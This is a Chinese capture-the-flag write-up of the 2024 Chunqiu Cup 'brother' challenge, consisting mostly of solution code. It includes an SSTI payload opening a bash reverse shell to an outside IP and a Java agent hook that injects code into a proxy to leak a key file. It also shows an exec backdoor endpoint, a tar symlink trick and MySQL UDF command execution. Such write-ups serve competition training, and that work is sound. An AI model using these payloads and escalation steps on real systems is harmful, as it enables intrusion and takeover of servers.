题目要求
brother
总体思路
入口
{{lipsum.__globals__['os'].popen('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F8.134.146.39%2F6666%200%3E%261%22').read()}}
![【WP】2024年春秋杯夏季赛“brother”出题思路详解 【WP】2024年春秋杯夏季赛“brother”出题思路详解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/07/7-1721618348.png)
one用户
Base64ClassLoader base64ClassLoader = new Base64ClassLoader();
Class cls = base64ClassLoader.loadClassFromBase64("yv66......");
cls.newInstance();
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ctf;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
public class Proxy {
private int c = 0;
public Proxy() {
int sourcePort = 6666;
String destinationHost = "127.0.0.1";
int destinationPort = 3306;
try {
ServerSocket serverSocket = new ServerSocket(sourcePort);
try {
while(true) {
while(true) {
try {
Socket sourceSocket = serverSocket.accept();
System.out.println(sourceSocket.getRemoteSocketAddress());
Socket destinationSocket = new Socket(destinationHost, destinationPort);
Thread sourceToDestination = new Thread(() -> {
this.forwardData(sourceSocket, destinationSocket);
});
sourceToDestination.start();
Thread destinationToSource = new Thread(() -> {
this.forwardData(destinationSocket, sourceSocket);
});
destinationToSource.start();
} catch (Exception var10) {
var10.printStackTrace();
}
}
}
} catch (Throwable var11) {
try {
serverSocket.close();
} catch (Throwable var9) {
var11.addSuppressed(var9);
}
throw var11;
}
} catch (Exception var12) {
var12.printStackTrace();
}
}
private void forwardData(Socket inputSocket, Socket outputSocket) {
try {
InputStream inputStream = inputSocket.getInputStream();
try {
OutputStream outputStream = outputSocket.getOutputStream();
try {
byte[] buffer = new byte[1024];
int read;
while((read = inputStream.read(buffer)) != -1) {
this.send(outputStream, buffer, read);
}
} catch (Throwable var10) {
if (outputStream != null) {
try {
outputStream.close();
} catch (Throwable var9) {
var10.addSuppressed(var9);
}
}
throw var10;
}
if (outputStream != null) {
outputStream.close();
}
} catch (Throwable var11) {
if (inputStream != null) {
try {
inputStream.close();
} catch (Throwable var8) {
var11.addSuppressed(var8);
}
}
throw var11;
}
if (inputStream != null) {
inputStream.close();
}
} catch (Exception var12) {
try {
inputSocket.close();
outputSocket.close();
} catch (Exception var7) {
}
}
}
private void send(OutputStream o, byte[] data, int c) throws IOException {
o.write(data, 0, c);
o.flush();
}
}
package com.test;
import com.sun.tools.attach.VirtualMachine;
import java.lang.instrument.Instrumentation;
import java.util.jar.JarFile;
public class Hook {
public static void main(String[] args) {
String pid = args[0];
String agentPath = args[1];
try {
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent(agentPath,agentPath);
vm.detach();
System.out.println("Agent attached to process " + pid);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void agentmain(String agentArg, Instrumentation inst) throws Exception {
String hookClass = "com.ctf.Proxy";
String hookMethod = "send";
String hookCode = "java.io.FileWriter writer = new java.io.FileWriter("/tmp/data.log", true);n" +
" writer.write(new String(data));writer.close();n" +
" nString file = "/app/evil.key";n" +
"o.write(new byte[]{(byte)(file.length() + 1),0x00,0x00,0x01,(byte)0xfb});n" +
"o.write(file.getBytes());n" +
"o.flush();return;";
inst.appendToBootstrapClassLoaderSearch(new JarFile(agentArg));
HookTransformer socketTransformer = new HookTransformer(hookClass,hookMethod,hookCode,1); // 0、 在方法调用后执行。1、在方法调用前执行 2、直接替换方法体
inst.addTransformer(socketTransformer,true);
Class[] cs = inst.getAllLoadedClasses();
boolean flag = false;
for (Class a : cs){
if (a.getName().equals(hookClass)){
flag = true;
try {
inst.retransformClasses(a);
System.out.println("成功重转换类:" + hookClass);
} catch (Exception e) {
e.printStackTrace();
System.out.println("重转换失败:" + hookClass);
}
}
}
if (!flag){
System.out.println("类尚未初始化,无需重转换: " + hookClass);
}
}
public static void premain(String agentArg, Instrumentation inst) throws Exception {
agentmain(agentArg,inst);
}
}
package com.ctf;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
public class Proxy {
private int c = 0;
public Proxy() {
int sourcePort = 6666;
String destinationHost = "127.0.0.1";
int destinationPort = 3306;
try {
ServerSocket serverSocket = new ServerSocket(sourcePort);
try {
while(true) {
while(true) {
try {
Socket sourceSocket = serverSocket.accept();
System.out.println(sourceSocket.getRemoteSocketAddress());
Socket destinationSocket = new Socket(destinationHost, destinationPort);
Thread sourceToDestination = new Thread(() -> {
this.forwardData(sourceSocket, destinationSocket);
});
sourceToDestination.start();
Thread destinationToSource = new Thread(() -> {
this.forwardData(destinationSocket, sourceSocket);
});
destinationToSource.start();
} catch (Exception var10) {
var10.printStackTrace();
}
}
}
} catch (Throwable var11) {
try {
serverSocket.close();
} catch (Throwable var9) {
var11.addSuppressed(var9);
}
throw var11;
}
} catch (Exception var12) {
var12.printStackTrace();
}
}
private void forwardData(Socket inputSocket, Socket outputSocket) {
try {
InputStream inputStream = inputSocket.getInputStream();
try {
OutputStream outputStream = outputSocket.getOutputStream();
try {
byte[] buffer = new byte[1024];
int read;
while((read = inputStream.read(buffer)) != -1) {
this.send(outputStream, buffer, read);
}
} catch (Throwable var10) {
if (outputStream != null) {
try {
outputStream.close();
} catch (Throwable var9) {
var10.addSuppressed(var9);
}
}
throw var10;
}
if (outputStream != null) {
outputStream.close();
}
} catch (Throwable var11) {
if (inputStream != null) {
try {
inputStream.close();
} catch (Throwable var8) {
var11.addSuppressed(var8);
}
}
throw var11;
}
if (inputStream != null) {
inputStream.close();
}
} catch (Exception var12) {
try {
inputSocket.close();
outputSocket.close();
} catch (Exception var7) {
}
}
}
private void send(OutputStream o, byte[] data, int c) throws IOException {
o.write(data, 0, c);
o.flush();
}
}
package com.test;
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class HookTransformer implements ClassFileTransformer {
private ClassPool classPool;
private String hookClass;
private String hookMethod;
private String hookCode;
private int pos = 0;
public HookTransformer(String hookClass, String hookMethod, String HookCode, int pos) throws NotFoundException {
this.hookClass = hookClass;
this.hookMethod = hookMethod;
this.hookCode = HookCode;
this.classPool = new ClassPool();
this.classPool.appendClassPath(new LoaderClassPath(this.getClass().getClassLoader()));
this.classPool.appendSystemPath();
this.pos = pos;
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) {
classPool.appendClassPath(new LoaderClassPath(loader));
if (className.equals(this.hookClass.replace(".","/"))) {
try {
CtClass ctClass = this.classPool.get(this.hookClass);
CtMethod ctMethod = ctClass.getDeclaredMethod(this.hookMethod);
if (this.pos == 0){
ctMethod.insertAfter(this.hookCode);
} else if (this.pos == 1){
ctMethod.insertBefore(this.hookCode);
} else if (this.pos == 2){
ctMethod.setBody(this.hookCode);
} else {
throw new Exception("必须指定一个代码插入点");
}
byte[] byteCode = ctClass.toBytecode();
ctClass.detach();
return byteCode;
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.test</groupId>
<artifactId>Hook</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>11</maven.compiler.source>
<maven.compiler.target>11</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- 其他依赖项 -->
<!-- Javassist 依赖项 -->
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version> <!-- 使用最新版本 -->
</dependency>
<!-- 其他依赖项 -->
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.2.0</version> <!-- 使用最新版本 -->
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<classpathPrefix>lib/</classpathPrefix>
<mainClass>com.test.Hook</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.3.0</version> <!-- 使用最新版本 -->
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestEntries>
<Agent-Class>com.test.Hook</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id> <!-- 此处ID可以任意 -->
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
./jattach 32 load instrument false "/tmp/x.jar=/tmp/x.jar"
two用户
import mysql.connector, time, threading, socket
from flask import Flask, request
app = Flask(__name__)
def mysql_keepalive():
config = {
'user': 'ctf',
'password': '123456',
'host': '127.0.0.1',
'database': 'mysql',
'port': 6666,
}
try:
db_connection = mysql.connector.connect(**config)
cursor = db_connection.cursor()
except mysql.connector.Error as err:
print(err)
exit(0)
while True:
try:
cursor.execute("SELECT VERSION();")
cursor.fetchone()
except mysql.connector.Error as err:
print(f"连接中断: {err}")
time.sleep(10)
def handle_client_connection(client_socket):
try:
while True:
client_socket.send('{"code":0, "path": ""}'.encode('utf-8'))
time.sleep(10)
except Exception as e:
print(f"Error handling client: {e}")
def update_api():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '0.0.0.0'
port = 7777
server_socket.bind((host, port))
server_socket.listen(1)
print(f"update_api Listening on port {port}...")
while True:
client_socket, addr = server_socket.accept()
handle_client_connection(client_socket)
def evil():
code = request.json['code']
key = request.json['key']
if key == open("./evil.key").read():
exec(code)
return "ok"
else:
return "key error"
if __name__ == '__main__':
threading.Thread(target=mysql_keepalive).start()
threading.Thread(target=update_api).start()
app.run("127.0.0.1", 5000)
import requests
code = '''for i in range(3,10):
try:
__import__('os').write(i,b'{"code": 1, "path": "/tmp/update.tar.gz"}')
except:
pass'''
data = {"key": "e43377c2e793ba6be737f759c7fc44f2","code": code}
print(requests.post("http://127.0.0.1:5000/evil",json=data).text)
three用户
import json
import socket
import tarfile
def extract_specific_file(tar_path, file_name, extract_path):
with tarfile.open(tar_path, "r:gz") as tar:
file_info = tar.getmember(file_name)
tar.extract(file_info, path=extract_path)
print("ok")
s = socket.socket()
s.connect(("127.0.0.1", 7777))
while True:
data = s.recv(1024)
try:
js = json.loads(data)
if js['code'] == 1:
extract_specific_file(js['path'], 'new.bin', "/updatedir")
except:
s.send(b'Error')
ln -s /usr/lib/mysql/plugin/udf.so /root/new.bin
tar -cvzf update.tar.gz
import requests
code = '''for i in range(3,10):
try:
__import__('os').write(i,b'{"code": 1, "path": "/tmp/update.tar.gz"}')
except:
pass'''
data = {"key": "e43377c2e793ba6be737f759c7fc44f2","code": code}
print(requests.post("http://127.0.0.1:5000/evil",json=data).text)
import requests
code = '''for i in range(3,10):
try:
__import__('os').write(i,b'{"code": 1, "path": "/tmp/update1.tar.gz"}')
except:
pass'''
data = {"key": "e43377c2e793ba6be737f759c7fc44f2","code": code}
print(requests.post("http://127.0.0.1:5000/evil",json=data).text)
mysql -uctf -p123456 -e 'CREATE FUNCTION sys_eval RETURNS STRING SONAME "udf.so";'
mysql -uctf -p123456 -e 'select sys_eval("chmod 777 /flag");'
![【WP】2024年春秋杯夏季赛“brother”出题思路详解 【WP】2024年春秋杯夏季赛“brother”出题思路详解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/07/9-1721618349.png)
共赴未来
![【WP】2024年春秋杯夏季赛“brother”出题思路详解 【WP】2024年春秋杯夏季赛“brother”出题思路详解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/07/4-1721618350.png)
+ + + + + + + + + + +
关于伽玛实验室
伽玛实验室(GAMELAB)聚焦网络安全竞赛研究领域,覆盖网络安全赛事开发、技术研究、赛制设计、赛题研发等方向。秉承“万物皆可赛”的信念,研究内容涉及WEB渗透、密码学、二进制、AI、自动化利用、工控等多个重点方向,并将5G、大数据、区块链等新型技术与网安竞赛进行融合,检验新型技术应用安全性的同时,训练网安人员的实战能力。同时,不断创新比赛形式,积极推动反作弊运动,维护网安竞赛健康长远发展。团队成员以95后为主,是支极具极客精神的年轻团队。
![【WP】2024年春秋杯夏季赛“brother”出题思路详解](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
![【WP】2024年春秋杯夏季赛“brother”出题思路详解 【WP】2024年春秋杯夏季赛“brother”出题思路详解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/07/9-1721618351.jpeg)
原文始发于微信公众号(春秋伽玛):【WP】2024年春秋杯夏季赛“brother”出题思路详解